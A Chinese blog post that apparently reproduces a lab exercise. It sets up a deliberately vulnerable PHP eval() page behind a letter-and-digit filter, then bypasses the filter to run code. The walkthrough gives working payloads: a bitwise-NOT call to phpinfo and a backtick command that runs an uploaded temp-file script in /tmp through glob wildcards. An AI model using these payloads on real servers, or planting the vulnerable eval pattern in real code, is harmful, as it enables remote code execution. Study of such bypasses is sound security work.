无字母数字通过命令执行上传webshell复现

目录
ubuntu配置代码

复现过程:
1.首先访问1.php,会直接显示代码
2.尝试赋予code参数值为1,显示为NO.
3.方法其一,通过PHP7.x特性达成效果
4.接下来要使用burpsuite,所以先打开服务器代理
5.抓取1.php的get请求包
[6.右键选择send to reapeater](#6.右键选择send to reapeater)
7.再选择文件1.txt提交,然后抓post上传文件的格式
8.抓到post传文件包也发送到repeater模块
9.将post内的红框部分复制并粘贴到1.php的get包内
10.注意左上角的get改成POST,最下方的1.txt当时漏了写#!/bin/bash
11.再次填写php表达式发现phpinfo()依旧成功,证明发送包有效
[12.cd /tmp目录下然后ls -al查看临时文件,发现临时文件占9个字符](#12.cd /tmp目录下然后ls -al查看临时文件,发现临时文件占9个字符)
13.shell下可以用.执行任意脚本
14.在1.php最上方加入sleep()函数即可在/tmp文件夹下查看临时文件
15.可以使用CyberChef工具来快速进行url编码
16.临时文件最后一个祖父随机生成大小写还有数字,如图一次大写没有产生
17.如图,最后成功执行了id指令,webshell上传成功

ubuntu配置代码:

首先ubuntu开启nginx服务并vim创建1.php和demo.html2个文件

bash 复制代码
cd /usr/local/nginx/sbin
./nginx 
cd /usr/local/nginx/html
vim 1.php
	<?php
	//sleep(15); #有sleep()情况下执行该php文件可以在/tmp目录下看见产生的临时文件
	if(isset($_GET['code'])){
	    $code = $_GET['code'];
	    if(strlen($code)>35){
 	       die("Long.");
 	   }
	    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
	        die("NO.");
	    }
	    eval($code);
	}else{
	    highlight_file(__FILE__);
	}
vim demo.html
	<!DOCTYPE html>
	<html lang="en">
	<head>
	        <meta charset="UTF-8">
		        <meta name="viewport" content="width=device-width, initial-scale=1.0">
	        <title>Document</title>
	</head>
	<body>
	        <form action="1.php" method="post" enctype="multipart/form-data">
	                <input type="file" name="file" id="">
	                <input type="submit" value="submit">
	        </form>
	</body>
	</html>

1.首先访问1.php,会直接显示代码

2.尝试赋予code参数值为1,显示为NO.

3.方法其一,通过PHP7.x特性达成效果

因为用的php版本为7.x,支持($a)();执行动态函数,所以可以用('phpinfo')();的形式来执行phpinfo()函数,因此只需要构造一个可以生成phpinfo这一串字符串的PHP表达式皆可,payload:(~%8F%97%8F%96%91%99%90)();

4.接下来要使用burpsuite,所以先打开服务器代理

5.抓取1.php的get请求包


6.右键选择send to reapeater

7.再选择文件1.txt提交,然后抓post上传文件的格式

bash 复制代码
#!/bin/bash 
#1.txt内有内容
id


8.抓到post传文件包也发送到repeater模块

9.将post内的红框部分复制并粘贴到1.php的get包内

bash 复制代码
其中一下字段可以删了:
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip. deflate, br
Accept-language: zh-CN, zh;q=0.9, en;q=0.8,en-GB;q=0. 7, en-Us;q=0.6
x_ forvarded_ for: 127.0.0.1


10.注意左上角的get改成POST,最下方的1.txt当时漏了写#!/bin/bash

11.再次填写php表达式发现phpinfo()依旧成功,证明发送包有效

12.cd /tmp目录下然后ls -al查看临时文件,发现临时文件占9个字符

且有概率最后一个字符为大写字母,而大写字母在ascii码中位于@和之间,其他位的字符可以用?来匹配,同时linux系统初始基本上不会产生以大写字母结尾的文件的,所以大写字母可以用\[@-\[来匹配。而该临时文件又在tmp文件夹下,所以匹配字段可以是/???/???@-\[


13.shell下可以用.执行任意脚本

所以可以用. /???/???@-\[指令来执行临时文件,但是eval()函数作为执行函数只能执行php代码不能执行linux命令,所以要加上``,同时将?、;、@分别unicode编码成%3F、%3B、%40,用+代替空格

如下图:POST /1.php?code=?><?=\`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f%40-\[\`%3b?> HTTP/1.1

14.在1.php最上方加入sleep()函数即可在/tmp文件夹下查看临时文件

15.可以使用CyberChef工具来快速进行url编码

16.临时文件最后一个祖父随机生成大小写还有数字,如图一次大写没有产生

17.如图,最后成功执行了id指令,webshell上传成功

感受:感觉非洲人还是不适合做这个,我随机生成临时文件半天,全是小写字母或者数字,搞得我以为前面做错了,还得排错,愣是卡了20多分钟,最后还是靠着sleep函数,send+cancel不断生成临时文件,最后发现有大写才搞定。

相关推荐
迪康Defender12 分钟前
终端安全实战:如何高效解决企业U盘泄密与管控难题
运维·网络·安全·web安全·终端安全管理
网安小学生(兼顾数据库版)30 分钟前
固件+软件供应链:ONEKEY+Mend如何实现全链路安全覆盖
网络·安全·web安全
马可家的菠萝1 小时前
你收藏的资料,有多少真的被你第二次打开过?
笔记·知识管理·效率提升·个人知识库
学习中的码虫1 小时前
网络编程5
服务器·网络
GPU实战笔记2 小时前
本地跑不动 llama.cpp,临时租云 GPU 怎么搭?从启动服务到环境复用
java·服务器·网络·人工智能·深度学习·llama
小刘在重生~2 小时前
Java Lock 显式锁案例|ReentrantLock 解决多线程安全问题(超详细实战)
java·笔记·面试
职豚求职小程序2 小时前
中国人寿27秋招笔试[特殊字符]北森机考|备考攻略
笔记
江湖人称菠萝包2 小时前
【Qt】《Qt 5.9 C++开发指南》笔记-Chapter9-Qt Charts
笔记·qt·qt5
乐橙开放平台2 小时前
从「多套客户端」到一套开放能力:乐橙视频监控能力复盘
笔记·物联网·自动化·音视频·智能家居
发量惊人的中年网工2 小时前
2026年DDoS防护方案怎么选?从攻击响应、清洗位置到成本账单,解析全球高防方案
大数据·网络·安全·ddos